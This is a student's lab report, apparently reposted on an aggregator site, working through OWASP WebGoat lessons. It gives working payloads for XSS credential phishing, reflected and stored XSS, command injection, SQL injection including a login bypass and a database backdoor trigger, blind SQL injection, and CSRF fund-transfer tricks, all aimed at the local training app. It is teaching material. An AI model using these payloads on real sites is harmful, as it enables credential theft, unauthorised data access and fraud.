Exp9 WEB安全基础
Posted 丿尛丶熊
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp9 WEB安全基础相关的知识,希望对你有一定的参考价值。
20155336《网路对抗》Exp9 WEB安全基础
最后一次实验~~The journey is hard, the road is bumpy, but it is very enjoyable.
一、基础问题回答
- 1.SQL注入攻击原理,如何防御
- 原理:攻击者把SQL命令插入到网页的各种查询字符串处,达到欺骗服务器执行恶意的SQL命令。
- 防御:在网页设计时对文本框的输入进行限制,比如说长度限制、不能出现#号等
- 2.XSS攻击的原理,如何防御
- 原理:攻击者在可输入域插入一些html或脚本语言使服务器执行那些代码
- 防御:关键字防御,比如过滤
<script>
这种敏感词汇,减少被攻击的风险
- 3.CSRF攻击原理,如何防御
- 原理:一般人A在登陆后,在自己的主机页面点击的各类请求都是以A的名义发送的,即A有A的权限;攻击者B在网页注入一个恶意的CSRF攻击URL地址,在A点击后,B借用A的身份进行非法操作,即B有了A的权限
- 防御:1.cookie的保存时间不宜过长;2.服务器要求用户输入相对应的验证码;3.服务器尽量在表单中使用post方法
二、实验过程记录
开启WebGoat
-
这一环节
看到别人都在为安装JDK抓狂怎么就有点美滋滋呢。终于体会到什么叫做前人种树后人乘凉了,感谢刘老师以及刘老师的虚拟机,为我提供了很多很多的便利,膜拜膜拜 -
什么是WebGoat:WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。这个环境需要Apache Tomcat和JAVA开发环境的支持。
-
键入
java -jar webgoat-container-7.0.1-war-exec.jar
。做实验的时候,要一直保持这个终端处于运行状态。 -
可以看出,WebGoat使用的是8080端口。
-
在浏览器上直接访问8080端口就可以跳转到WebGoat,使用默认账号密码就妥。
-
为什么不能直接像Google一样直接把网页翻译过来....
XSS攻击
Phishing with XSS
-
这个题目我们要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点创建一个form。利用这个网站读取目标的身份信息。
-
首先输入攻击代码:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
Reflected XSS 反射型XSS攻击
- 在
code
框中输入<script>alert("hahahahhahah20155336");</script>
Stored XSS Attacks
- 题目要求:基于存储的xss攻击,把攻击者的数据存储在服务器端,攻击将伴随着攻击数据一直存在。
- 在Message里输入
<script>alert("Lets go go go go 5336!");</script>
SQL
Injection Flaws
-
左侧有很多种攻击实验,先选一个看似简单的Command Injection来试试
-
题目意思:命令注入攻击对任何参数驱动的站点都构成严重威胁。清理所有输入数据,特别是在OS命令、脚本和数据库查询中使用的数据是很好的做法。要求我们应用程序使用系统命令返回文件的内容。
-
打开网页的源代码
-
本题我们要改
BackDoors.help
后面的代码,于是直接搜索BackDoors.help
,找到后在其后加入"& netstat -an & ipconfig"
-
加入完成以后敲回车即可.
-
选定刚刚添加的代码选项而后view一下。出现了网络端口使用情况和IP地址,(o゜▽゜)o☆[BINGO!]
Numeric SQL Injection
-
题目意思:尝试注入导致所有天气数据显示的SQL字符串,应用程序从选择框中获取输入,并将其插入到预先形成的SQL命令的末尾。
-
在搜索框内直接搜索哥伦比亚,然后利用永真式1=1,根据执行SQL
Log Spoofing
- 题目意思:利用日志的格式,使用换行等字符,欺骗管理员。可以使用障眼法来使用户名为
“admin”
的用户在日志中显示“成功登录”,例如在User Name
文本框中输入hgy%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%0a
是换行符:
String SQL Injection
- 这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
- 仍然是永真式1=1的或门注入
- 本题直接在
last name
中注入Snow\' OR \'1\'=\'1
- 这边出现了一点问题,就是点击GO一直没有反应。其实点一下restart重新开始就好了
- 尝试了一下输入自己名字的关键字,发现没有什么影响。所以就觉得永真式是真的强大,让前面的关键字显得毫无作用
LAB: SQL Injection(Stage 1:String SQL Injection)
- 题目意思:使用字符串SQL注入来绕过身份验证
- 在这里我们要在
password = ‘’
这里进行注入,理论上只要pwd = \' or 1=1 --。
那么执行语句就被改成了:
select * from User where username=‘’and password =‘’ or 1 = 1 --‘
这样就可以登陆任何用户了,密码中输入\' or 1=1 --
- 在这里,因为源代码里的密码长度最长为8位,改一下限制就好了
Stage 3:Numeric SQL Injection
- 题目意思:这个就是再上一个的基础上,登陆larry,然后浏览员工的信息点击
ViewProfile
就可以了
- viewprofile返回的是每次查询到的第一条数据,老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下:
101 or 1=1 order by salary desc --
Database Backdoors
- 先看一下102的用户信息
- 这都是些什么人啊,家里开银行的嘛~~
- 通过输入sql语句来修改信息内容,比如输入
102; update employee set salary=1000000 where userid=102;
- 哎哎写大点,梦里什么都有~
- 注入一个触发器,触发器内容:
102;create trigger backdoor before insert on employee for each row begin update employee set email=\'hgy@hackme.com\'WHERE userid = 102;
把所有新注册的用户的email地址改成hgy@hackme.com
Blind Numeric SQL Injection
- 题目意思:盲测,大致就是让你去猜测,然后逐步缩小范围。我们想知道其
pin
的值,只能去猜测,就像数学里的二分法一样,把区间逐步缩小,最后就确定了一个更加精确的范围。首先我们尝试一下200,101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 200 );
- 注入的代码显示
Account number is valid
,表示是真的,所以它的范围比100大。那我们就再试试更大一点的2000,101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 2000 );
- 当我注入2500的时候它发生了变化
- 所以我们大致确定它的范围在2000~2500之间
- 然后我们打开虚拟机的BRUP,因为8080端口已经被占用,所以我们就再添加一个端口。然后把端口号设为自己刚刚设置的端口号。
- 设置查找区间2000~2500,并且为了精准step设置为1
- 在
Options
中,选择Start attack
开始攻击
- 可以明显发现2364与其他的有明显区别,长得非常可疑,那不妨就把2364输入进行验证,果不其然是正确的。
CSRF攻击
Cross Site Request Forgery
- 写一个
URL
诱使其他用户点击,从而触发CSRF
攻击,我们可以以图片的的形式将URL
放进Message
框,这时的URL
对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF
事件。 - 查看自己电脑的数值
- 然后在
message
里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=转账金额"/>
- 提交后生成一个链接
20155336
,点击查看。
CSRF Prompt By-Pass
-
这个还是利用的是CSRF,不过需要转账请求和确认转账成功请求。
-
步骤跟CSRF大致相同,但这回在message中输入代码是:
<iframe src="attack?Screen=268&menu=900&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=268&menu=900&transferFunds=CONFIRM"> </iframe>
-
但是它没有提示那个祝贺成功,在浏览器输入
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000
进行确认转账请求:
-
点击
CONFIRM
,然后在输入localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,显示成功转走5000!
三、实验总结与体会
实验终于做完了,也不能说是对待每一次实验都是很认真的但也不能说是敷衍了事。总的来说9次实验做完收获还是很多很多的,老师应该八九不离十也看在眼里记在心里。每次实验都会遇到各式各样的问题,就感觉每次都被针对,实验8做完以后,电脑就崩溃了,是真的崩溃了,实验8验收的那天,真的是老天开了眼,在查完实验之前,电脑竟然挺住了没有蓝屏,因为之前电脑就已经开始开机蓝屏,右键鼠标黑屏各种Gug,本来已经打算验收的时候直接扣一分走了,结果电脑给力了。但是查完实验的时候,回到座位准备关机就又蓝屏了。那天晚上售后就来学校了,帮我看了一眼说是硬盘坏了,修一下要1300.......别提当时什么心情了。但我还是留了个心眼,去京东看了一眼1T也就三四百来块,我就感觉差点被坑了,我就拒绝拿去售后维修了。回来晚上用舍友的流量下了3个多G的win8.1虚拟机,然后又下载了老毛桃,把优盘格式化弄成系统盘,觉得看看重装个系统咋样,要是真的是硬盘坏了,那就网上买个自己装,要是硬盘没坏那就将就用win8了。自己一步一步的装镜像,把C盘格式化了之后,当电脑开机的那一瞬间,新系统屏幕上显示的慰问语,真的感动的要哭了~~电脑瞬间满血复活,但是总会有一些先入为主的思想,怀念之前的win10,而且由于软件太多了,也不知道具体放在了哪,就把剩下的盘都索性格式化了,落个眼不见心不烦。当晚就插着网线下载VM,markdown,然后重新拷虚拟机,装tools,把这些装完以后心里顿时舒了一口气。总算把最大的坑跳过去了。真的是有苦说不出呀,你能体会到博客写到一半没保存瞬间蓝屏的那种委屈嘛~~又要重新传图又要重新打字,又要重新开虚拟机各种繁琐的事,你还不知道它下次蓝屏会是什么时候,真的是小心翼翼的。哎哎,不说了就在这小声吐槽一下,总之实验做完了,感觉心里有点空虚总不能什么都没学到吧哈哈哈哈哈哈。还是那句话The journey is hard, the road is bumpy, but it is very enjoyable.感谢老师!
以上是关于Exp9 WEB安全基础的主要内容,如果未能解决你的问题,请参考以下文章